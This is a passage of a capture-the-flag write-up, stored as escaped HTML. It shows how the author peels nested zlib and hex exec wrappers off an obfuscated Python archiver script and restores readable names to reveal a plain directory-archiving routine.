class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xaa\\x9c\\xbd\\xd9\u003c/span\u003e\u003cspan class=\"s1\"\u003e...\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xff\\x0f\\x08\\xa0\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIt seems to be wrapper that decompresses and executes some code. If we replace \u003ccode\u003eexec\u003c/code\u003e with \u003ccode\u003eprint\u003c/code\u003e we can see what that code is (instead of executing it).\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ebinascii\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebinascii\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunhexlify\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;696d706f727420...c7186632272929\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAnother wrapper, but this time hex encoding instead of compression.\u003c/p\u003e\n\u003cp\u003eIf we do the same thing once again, we're back with another round of zlib compression.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ezlib\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezlib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecompress\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x9c\\x8d\\x9d\\x11\u003c/span\u003e\u003cspan class=\"s1\"\u003e...\u003c/span\u003e\u003cspan class=\"se\"\u003e\\xca\\x87\\x91\\xf2\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eNot knowing how many times this could go around, we'll write a simple script to automate the unwinding.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eset\u003c/span\u003e -ex\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecp l tmp\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e grep -qv -e binascii -e zlib tmp\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    cat tmp \u003cspan class=\"p\"\u003e|\u003c/span\u003e sed \u003cspan class=\"s1\"\u003e\u0026#39;s/exec/print/\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e python \u003cspan class=\"p\"\u003e|\u003c/span\u003e sponge tmp\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis automates what we were doing manually, using \u003ccode\u003esed\u003c/code\u003e to transform each script into one which outputs its code back into the same. This is repeated as long as \u003ccode\u003ebinascii\u003c/code\u003e or \u003ccode\u003ezlib\u003c/code\u003e is found within the file, at which point we stop.\u003c/p\u003e\n\u003cp\u003eTurns out \u003ccode\u003ezlib\u003c/code\u003e was still mentioned in the final script, but replacing \u003ccode\u003eexec\u003c/code\u003e with \u003ccode\u003eprint\u003c/code\u003e caused a syntax error so it stopped anyway. We have what we want so there's no point in fixing it now.\u003c/p\u003e\n\u003cp\u003eThe result was \u003ca href=\"/inshack-obscure/obfuscated_archiver.py\" rel=\"noreferrer nofollow noopener\"\u003ean obfuscated mess\u003c/a\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eos\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003e_4491ba09efd64d32a7c316a89ed23540\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003euuid\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003e_9c0223fbd33e432cad291e3626fa8375\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ezlib\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003e_75efb4b5390e450f86339bb370cf9798\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003estruct\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003e_460dcfe1367b4351bfd11161e6afb4bc\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_d92c89d5c8e6480ab83f62d04ac6968e\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_2a054c268d044e6ab9b9ba49b0c99ac2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003evars\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_efe18136e1d14a66b014f121b6cdc599\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etype\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_9013c61b775f4709917f60cfb4c4d0bd\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etuple\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_c78251a8b4ef4e5c975562404153eca2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esuper\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_05314ca66c8241329018829d41388221\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esum\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_66299359ebad416a9be7d03a54485ba7\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"ne\"\u003eFileNotFoundError\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_091dbd374eac4d218391f5d651aa5242\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"ne\"\u003eFileExistsError\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_9656b9e60ace40ab958f7005bb4ca86f\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_78174034c577445f8c0a1c0379d54c86\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"ne\"\u003eException\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_7609428dbb2a4d0e93506071a0ba0003\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"ne\"\u003eEnvironmentError\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_aa69ae8b32464738b560cc318d6d6cbd\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eEllipsis\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003e_46a7c5c324234b988db190a6f5011912\u003c/span\u003e\u003cspan class=\"p\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003e_9020d73ce88149339a5c0db87f05b655\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003e_dee6853e587a46fe89d055f4a7d4a54c\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003e_405a529ecd9e4156902881815fe5b115\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003e_9b5737cb2ddb4cafac4e8fa8db81fb4b\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003e_2531f0349f41497dbf1ed7339b4c880b\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003e_66107a3f96fc4f8aaf770c066d3260a5\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_9020d73ce88149339a5c0db87f05b655\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003e_1cf3273eea5e4642b24446463c8edb23\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003e_fc2e6885d4f6459c9173119853a9b941\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_9020d73ce88149339a5c0db87f05b655\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003e_f6cd3797fea24c06be091c077f687482\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003e_2531f0349f41497dbf1ed7339b4c880b\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e_07da762b35064c328590155ab1fd0e23\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_33186cdf76944c1d8b235829cede199b\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003e_405a529ecd9e4156902881815fe5b115\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e_5f8f129324e640809d01bddc294aaa1e\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_f6cd3797fea24c06be091c077f687482\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003e_1cf3273eea5e4642b24446463c8edb23\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emkdir\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eparents\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003e_33186cdf76944c1d8b235829cede199b\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eexist_ok\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003e_33186cdf76944c1d8b235829cede199b\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003e_405a529ecd9e4156902881815fe5b115\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e_6d9fd80d4dd64ec79fcb9665c4c3d5d6\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_1cf3273eea5e4642b24446463c8edb23\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_0725a4328dac4b608bca988314e49535\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;__main__\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003e_46a7c5c324234b988db190a6f5011912\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIf you look closely you can see the rough outline of a Python program there. Variables, functions, properties and builtins have been replaced with hashes, resulting in 357 lines of obfuscated code.\u003c/p\u003e\n\u003cp\u003eA series of \u003ccode\u003esed\u003c/code\u003es will deal with the top section.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esed -i \u003cspan class=\"s1\"\u003e\u0026#39;s/_d92c89d5c8e6480ab83f62d04ac6968e/zip/g\u0026#39;\u003c/span\u003e obfuscated.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esed -i \u003cspan class=\"s1\"\u003e\u0026#39;s/_2a054c268d044e6ab9b9ba49b0c99ac2/vars/g\u0026#39;\u003c/span\u003e obfuscated.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esed -i \u003cspan class=\"s1\"\u003e\u0026#39;s/_efe18136e1d14a66b014f121b6cdc599/type/g\u0026#39;\u003c/span\u003e obfuscated.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esed -i \u003cspan class=\"s1\"\u003e\u0026#39;s/_9013c61b775f4709917f60cfb4c4d0bd/tuple/g\u0026#39;\u003c/span\u003e obfuscated.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esed -i \u003cspan class=\"s1\"\u003e\u0026#39;s/_c78251a8b4ef4e5c975562404153eca2/super/g\u0026#39;\u003c/span\u003e obfuscated.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esed -i \u003cspan class=\"s1\"\u003e\u0026#39;s/_05314ca66c8241329018829d41388221/sum/g\u0026#39;\u003c/span\u003e obfuscated.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThat does that, but there's no way around it, we're going to have to get our hands dirty. Armed only with multiple cursors and a bit of determination, let's go through and give everything a name.\u003c/p\u003e\n\u003ch2 id=\"archiver\"\u003eArchiver\u003c/h2\u003e\u003cp\u003eSee \u003ca href=\"/inshack-obscure/archiver.py\" rel=\"noreferrer nofollow noopener\"\u003earchiver.py\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eNow that we can all enjoy looking at proper variable names, time to see what this script actually does.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eparse_args\u003c/span\u003e\u003cspan class=\"p\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eargparser\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eargparse\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eArgumentParser\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edescription\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eargparser\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_argument\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eargparser\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_argument\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;o\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eargparser\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse_args\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003erun\u003c/span\u003e\u003cspan class=\"p\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eargs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eparse_args\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003earchive\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eArchive\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDirectoryEnumerator\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epathlib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_file_list\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003earchive\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_file\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emkdir\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eparents\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eexist_ok\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003earchive\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"vm\"\u003e__name__\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;__main__\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003erun\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOur journey begins by recursively listing all the files under the directory named by the first command line parameter, \u003ccode\u003ed\u003c/code\u003e. A new \u003ccode\u003eArchive\u003c/code\u003e is created, and each file is added in turn. Finally, the archive is written to the directory named by the second parameter, \u003ccode\u003eo\u003c/code\u003e, which is created if it doesn't already exist.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan 